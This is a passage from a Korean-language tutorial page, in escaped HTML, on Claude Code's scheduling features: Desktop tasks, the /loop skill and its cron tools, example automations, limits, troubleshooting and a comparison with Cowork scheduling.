    &lt;p style=&quot;margin: 8px 0 0 0; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;Cloud 태스크는 매번 git clone만 하지만, Desktop 태스크는 이처럼
      &lt;code&gt;~/projects/&lt;/code&gt; 같은 로컬 경로를 직접 읽고 쓸 수 있다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Desktop 태스크
    중단하기&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Desktop 앱 사이드바 &lt;b&gt;Schedule 페이지&lt;/b&gt;에서 해당 태스크를 클릭하고 삭제하면 된다. 실행 중인
    태스크를 즉시 멈추려면 해당 실행 세션을 열고 &lt;b&gt;Esc&lt;/b&gt;를 누른다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 15px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;# 태스크 프롬프트 파일을 삭제해도 이후 실행이 중단된다
rm ~/.claude/scheduled-tasks/&amp;lt;task-name&amp;gt;/SKILL.md&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 4 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. CLI /loop (세션 내 반복)&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;문법과 예시&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/loop&lt;/code&gt;은 현재 세션 안에서 프롬프트를 반복 실행하는 번들 스킬이다. 가장 가볍지만 세션을
    닫으면 사라진다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 5분마다 배포 상태 확인
/loop 5m check if the deployment finished and tell me what happened

# 30분마다 빌드 체크
/loop 30m check the build

# 자연어로 간격 지정
/loop check the build every 2 hours

# 간격 생략 시 기본 10분
/loop check the build

# 다른 스킬/명령어를 반복
/loop 20m /review-pr 1234

# 일회성 리마인더 (자연어)
remind me at 3pm to push the release branch
in 45 minutes, check whether the integration tests passed&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;지원 단위&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;표기&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;예시&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;초&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;s&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;30s&lt;/code&gt; (1분으로 올림)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;분&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;m&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;5m&lt;/code&gt;, &lt;code&gt;30m&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;시간&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;h&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;2h&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;일&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;d&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;1d&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;cron 도구
    (CronCreate / CronList / CronDelete)&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/loop&lt;/code&gt;의 내부에서는 3가지 cron 도구가 동작한다. 표준 5필드 cron 표현식을
    사용한다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# cron 표현식 예시
*/5 * * * *     # 매 5분
0 * * * *       # 매시 정각
0 9 * * *       # 매일 오전 9시
0 9 * * 1-5     # 평일 오전 9시
30 14 15 3 *    # 3월 15일 오후 2:30&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;/loop의 핵심 제약&lt;/b&gt;&lt;br /&gt;
    &lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;세션당 최대 50개 태스크&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;반복 태스크는 &lt;b&gt;3일 후 자동 만료&lt;/b&gt; (마지막 1회 실행 후 삭제)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude가 응답 중이면 대기 (중간에 끼어들지 않음)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;놓친 실행은 캐치업 없음 (1회만 실행)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;확장 구문 (&lt;code&gt;L&lt;/code&gt;, &lt;code&gt;W&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, &lt;code&gt;MON&lt;/code&gt;,
        &lt;code&gt;JAN&lt;/code&gt;) 미지원
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;cron에서 day-of-month와 day-of-week를 동시 지정하면 &lt;b&gt;OR 시맨틱스&lt;/b&gt;로 동작 (둘 중 하나만 매칭돼도 실행).
        의도치 않은 실행 주의&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;반복 태스크에 &lt;b&gt;jitter&lt;/b&gt;: 간격의 최대 10% (상한 15분)만큼 늦게 실행될 수 있음. 정각(:00)·30분(:30)에 예약된 일회성 태스크는 최대 90초 일찍 실행
        가능. (태스크 ID 기반, 결정적)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;/loop 중단하기
  &lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;# 방법 1: 실행 중 즉시 중단
# Claude 응답 대기 중 Esc 키 (또는 터미널 Ctrl+C)

# 방법 2: 특정 루프 삭제 — Claude에게 자연어로 요청
&quot;/loop으로 만든 5분 체크 태스크 삭제해줘&quot;
# → Claude가 내부적으로 CronDelete 도구를 실행

# 방법 3: 세션의 모든 /loop 비활성화
export CLAUDE_CODE_DISABLE_CRON=1

# 방법 4: 세션 종료 — /loop 태스크는 세션과 함께 자동 소멸
exit&lt;/pre&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 12px 18px; margin: -10px 0 20px 0; border-radius: 0 8px 8px 0; font-size: 14px;&quot;&gt;
    &lt;b&gt;가장 빠른 방법:&lt;/b&gt; Claude에게 &lt;code&gt;&quot;지금 돌고 있는 /loop 멈춰줘&quot;&lt;/code&gt;라고 말하면 CronDelete로 해당 태스크를 즉시 삭제한다.
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 5 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 활용 사례&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이미 공유된 활용 사례를 정리해 보았다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사례 1: CI 실패
    자동 해결 (Anthropic 내부)&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 공식 발표에서 언급한 내부 사용 사례이다. CI가 실패하면 Claude가 자동으로 원인을
    분석하고 수정 PR을 만든다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Cloud 태스크 예시: CI 실패 시 자동 수정
/schedule check CI status hourly. If any tests are failing,
analyze the failure, create a fix, run the tests locally,
and open a PR to the claude/ci-fix branch.&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사례 2: Go 트윈
    라이브러리 자동 유지보수 (@noahzweben)&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic 엔지니어 @noahzweben이 X에서 공유한 사례이다. 활발하게 개발 중인 Python
    라이브러리와 동기화되는 Go 라이브러리를 Claude 스케줄 잡이 자동으로 유지보수한다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;왜 이것이 강력한가&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;보통 다른 언어 포팅은 인력이 많이 드는 작업이다. Python SDK가 업데이트될 때마다 Go SDK도 수동으로
      반영해야 한다. &lt;br /&gt;Claude 스케줄 잡이 이를 자동화하면 인력 부담 없이 두 언어 라이브러리를 동시에 유지할 수 있다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사례 3: 일일 문서
    최신화 체크&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 매일 오전 9시, 문서와 코드의 불일치를 찾아서 PR
/schedule daily at 9am: Compare README.md and API docs against
the current codebase. If anything is outdated, update it and
open a PR.&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사례 4:
    /loop으로 배포 모니터링&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 현재 세션에서 5분마다 배포 상태 체크
/loop 5m check if the deployment to staging finished.
If it succeeded, tell me. If it failed, show the error logs.&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 6 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;방식&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;제한사항&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대응&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cloud&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;최소 간격 1시간. 로컬 파일 접근 불가. &lt;code&gt;claude/&lt;/code&gt; 브랜치 제한.&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;로컬 작업이 필요하면 Desktop 태스크 사용. 브랜치 제한은 리포별 해제 가능.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Desktop&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;앱이 열려 있어야 실행. 덮개 닫으면 잠듦. 놓친 실행은 최근 1회만 캐치업.&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Keep computer awake&quot; 설정 활용. 중요한 작업은 Cloud 태스크로 이관.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/loop&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 종료 시 삭제. 반복 태스크 3일 만료. 세션당 50개 상한.&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;지속적인 작업은 Cloud나 Desktop으로. /loop은 임시 모니터링용.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;공통&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude 사용량(토큰)이 각 실행마다 소비됨. 너무 빈번한 스케줄은 비용 증가.&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;간격과 프롬프트 복잡도를 적절히 조절.&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 7 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서와 커뮤니티 질문을 바탕으로 정리한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q1.
      /schedule 명령어가 안 먹힌다&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; Claude Code 버전이 v2.1.72 미만이거나, 웹/API 접근이 필요한 기능인데
      오프라인 상태일 수 있다.&lt;/p&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
      &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;claude --version  # v2.1.72 이상인지 확인
claude update     # 최신 버전으로 업데이트&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q2. Cloud
      태스크가 main에 직접 push해서 문제가 생겼다&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; &quot;Allow unrestricted branch pushes&quot;를 켰을 때 발생할 수 있다.
    &lt;/p&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; 리포별 설정에서 무제한 push를 끄고, &lt;code&gt;claude/&lt;/code&gt; 접두사
      브랜치로만 push하도록 되돌린다. Claude에게 &quot;항상 claude/ 접두사 브랜치에 push하라&quot;고 프롬프트에 명시하는 것도 좋다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q3.
      /loop으로 만든 태스크가 사라졌다&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; /loop 태스크는 세션에 묶여 있으므로, 세션을 종료하면 전부 삭제된다. 또한 반복
      태스크는 3일 후 자동 만료된다.&lt;/p&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; 지속적인 스케줄이 필요하면 &lt;code&gt;/schedule&lt;/code&gt;(Cloud) 또는
      Desktop 태스크를 사용한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q4.
      Desktop 태스크가 실행 중 멈춰 있다&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; Ask 모드에서 승인되지 않은 도구를 호출하면 사용자 승인을 기다리며 멈춘다.&lt;/p&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; 해당 태스크의 실행 세션을 열어 승인하거나, &quot;always allow&quot;로 설정한다. 또는
      태스크 권한 모드를 acceptEdits나 auto로 변경한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q5. 스케줄링을
      완전히 비활성화하고 싶다&lt;/h4&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
      &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;
        data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;export CLAUDE_CODE_DISABLE_CRON=1&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 환경변수를 설정하면 &lt;code&gt;/loop&lt;/code&gt; 스킬과 cron 도구가 비활성화되고, 이미 예약된 태스크도
      실행이 중단된다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 8 (삽입): Cowork vs Claude Code 비교 + 비개발자 활용 사례 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. Cowork(웹) vs Claude Code(CLI) 차이점 정리&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude의 스케줄링 기능은 크게 두 갈래로 나뉜다. &lt;b&gt;Cowork 스케줄(웹/데스크톱 UI)&lt;/b&gt;과 이
    가이드에서 다루는 &lt;b&gt;Claude Code 스케줄(CLI)&lt;/b&gt;이다. 같은 &quot;자동 실행&quot; 기능이지만 대상 사용자와 인터페이스, 활용 방식이 다르다.&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 22%;&quot;&gt;항목&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Cowork
          스케줄&lt;br /&gt;(claude.ai 웹 &amp;middot; 앱 UI)&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Claude Code
          스케줄&lt;br /&gt;(CLI &amp;middot; /schedule &amp;middot; /loop)&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;대상 독자&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;일반 사용자, 비개발자, 콘텐츠 크리에이터, 기획자&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;개발자, 엔지니어, DevOps 담당자&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;인터페이스&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;claude.ai 웹 대시보드 &quot;예정됨&quot; 메뉴, 클릭 기반 설정
        &lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;터미널 CLI, &lt;code&gt;/schedule&lt;/code&gt;
          &amp;middot; &lt;code&gt;/loop&lt;/code&gt; 명령어&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;스케줄 방식&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;UI에서 날짜&amp;middot;시간&amp;middot;반복 주기 선택&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;자연어 또는 cron 표현식, &lt;code&gt;/schedule&lt;/code&gt;
          &amp;middot; &lt;code&gt;/loop&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;주요 사용 사례&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;모닝 브리핑, 콘텐츠 캘린더, 이메일 정리, 팀 보고서&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;CI/CD 자동화, 문서 동기화, 라이브러리 유지보수, 배포 모니터링
        &lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; font-weight: 600; background-color: #f8fbff;&quot;&gt;플러그인 &amp;middot;
          연동&lt;/td&gt;
